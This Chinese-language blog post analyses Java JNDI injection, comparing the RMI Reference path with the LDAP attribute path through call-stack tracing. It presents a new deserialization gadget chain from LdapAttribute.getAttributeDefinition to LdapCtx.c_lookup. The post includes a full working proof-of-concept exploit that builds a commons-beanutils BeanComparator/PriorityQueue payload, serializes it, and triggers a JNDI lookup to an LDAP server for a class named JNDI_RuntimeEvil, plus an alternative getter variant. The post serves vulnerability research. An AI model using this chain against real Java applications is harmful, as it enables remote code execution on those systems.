在触发JNDI注入的时候,我们用到的一个JNDI Client如下,用的LDAP协议:
1 2 3 4 5 6 7 8
| public class JDNIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteInterface remoteObject = (RemoteInterface) initialContext.lookup("ldap://127.0.0.1:1099/#JNDI_RuntimeEvil"); remoteObject.sayHello("JNDI"); } }
|
JNDI Reference那些事
JNDI实际上在两个类型下走的是两个注入逻辑
类型1:RMI Reference封装
marshalsec生成的就是这个类型的poc
在RMI协议下,用Reference封装传输的类,是会经过RegistryContext.lookup调用decodeObject去解封装的。跟进这个decodeObject可以发现,调用了NamingManager.getObjectInstance


接下来的代码我们很熟悉了,就是判断是否为Reference,并调用getObjectFactoryFromReference和factory.getObjectInstance

从InitialContext开始调用栈如下:

事实上RMI型进行JNDI注入也必须用Reference封装,详情见https://godownio.github.io/2024/09/25/jndi-zhu-ru/#%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90
类型2:LDAP 非Reference封装
LDAP协议进行JNDI注入时不需要用Reference封装,我们看栈,跟上面对比得到不同的是从URL生成的Context是ldapURLContext,导致了后续的处理不同


在LdapCtx.c_lookup中,调用了DirectoryManager.getObjectInstance

可以发现DirectoryManager.getObjectInstance和NamingManager.getObjectInstance几乎没区别

因为NamingManager的作用如下:
DirectoryManager是 NamingManager
的一个子集或专门扩展,专门用于支持目录服务(如 LDAP)相关操作。处理带属性的对象工厂实例创建,类似于 NamingManager,但面向更“结构化”的服务,如 LDAP 目录。两个的核心逻辑其实没什么区别
二者的区别
我们回过头来看为什么RMI不能用非Reference去注入,跟进这个registry.lookup

是我们熟悉的RegistryImpl_Stub.lookup,不过这个方法显然只能触发RMI的原生反序列化攻击,也就是JRMP,而不是JNDI,它并没有调用到getObjectFactoryFromReference和factory.getObjectInstance,可以说JNDI我们只看这两个方法,而不是lookup

所以我们理论上可以总结为,RMI打JNDI就是要用Reference封装,而Ldap打JNDI,我们是自己写了一个Ldap服务器,你去看代码逻辑可以知道是把恶意http地址绑定在了attribute上,而没有用到Reference
LdapAttribute JNDI
根据上面Ldap协议打JNDI提到的链,可以知道不止InitialContext能触发JNDI,这条链上的方法理论上都能触发,不过这些方法显然反序列化不好触发

也就是包括以下方法:
1 2 3 4 5 6
| c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming)
|
把sun包加到库后再查找用法(不然不准),用8u65的sun包就行
找到ComponentContext#c_resolveIntermediate_nns调用了c_lookup

给个链子:
1 2 3 4 5
| LdapAttribute.getAttributeDefinition() -> PartialCompositeDirContext.getSchema() -> ComponentContext.p_getSchema() -> p_resolveIntermediate() -> c_resolveIntermediate_nns() LdapCtx.c_lookup() -> DirectoryManager.getObjectInstance
|
到source点,LdapAttribute.getAttributeDefinition是个getter,我们需要注意的关键是这个函数是没有参数的,这才严格满足getter的定义

poc构造
我们找一个触发到getter的地方,cb链的PropertyUtils.getProperty、jackson原生反序列化POJONode链、fastjson 1.2.83原生反序列化JSONObject、rome链等都可以
参数的话,可以打ldap JNDI的时候打个断点,看下向LdapCtx.c_lookup传的参数,为var1和var2

向上分析,得知参数来自getSchema的参数,第二个参数Continuation根据Name var1就能得到

于是我们只用控制rdn为我们需要的CompositeName,以及getBaseCtx返回PartialCompositeContext

getBaseCtx默认返回InitialDirContext

我们手动设置的话,这个参数为transient

不过不重要,序列化时会变相存储这个字段

这里以cb链触发getter为例给个poc:
LdapCtx构造函数参数

注意在p_resolveIntermediate有个p_parseComponent,需要var5和var6不为空才去解析后面


那么类名前面随便加个xx/就行了,如a/#JNDI_RuntimeEvil
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package org.exploit.misc;
import com.sun.jndi.ldap.LdapCtx; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.naming.CompositeName; import javax.naming.Name; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Hashtable; import java.util.PriorityQueue;
public class LdapAttribute_getterToJNDI { public static void main(String[] args) throws Exception {
CompositeName compositeName = new CompositeName("a/#JNDI_RuntimeEvil"); Class<?> ldapAttributeClass = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor<?> ldapAttributeClassConstructor = ldapAttributeClass.getDeclaredConstructor(String.class, DirContext.class, Name.class); ldapAttributeClassConstructor.setAccessible(true); Hashtable<String, String> env = new Hashtable<>(); LdapCtx ldapContext = new LdapCtx("","127.0.0.1",1099, env, false); Object ldapAttributeInstance = ldapAttributeClassConstructor.newInstance("godown", ldapContext, compositeName);
BeanComparator beanComparator = new BeanComparator("attributeDefinition"); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,new TransformingComparator<>(new ConstantTransformer<>(1))); priorityQueue.add(ldapAttributeInstance); priorityQueue.add(ldapAttributeInstance); Field compareField = PriorityQueue.class.getDeclaredField("comparator"); compareField.setAccessible(true); compareField.set(priorityQueue,beanComparator); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|

在查找用法中不仅LdapAttribute.getAttributeDefinition可用,getAttributeSyntaxDefinition也可用

所以改成BeanComparator beanComparator = new BeanComparator("attributeSyntaxDefinition");
也能成功触发
不过因为需要反射调用LdapAttribute构造函数的原因,不能在fastjson这种里面去使用,还是有一些局限性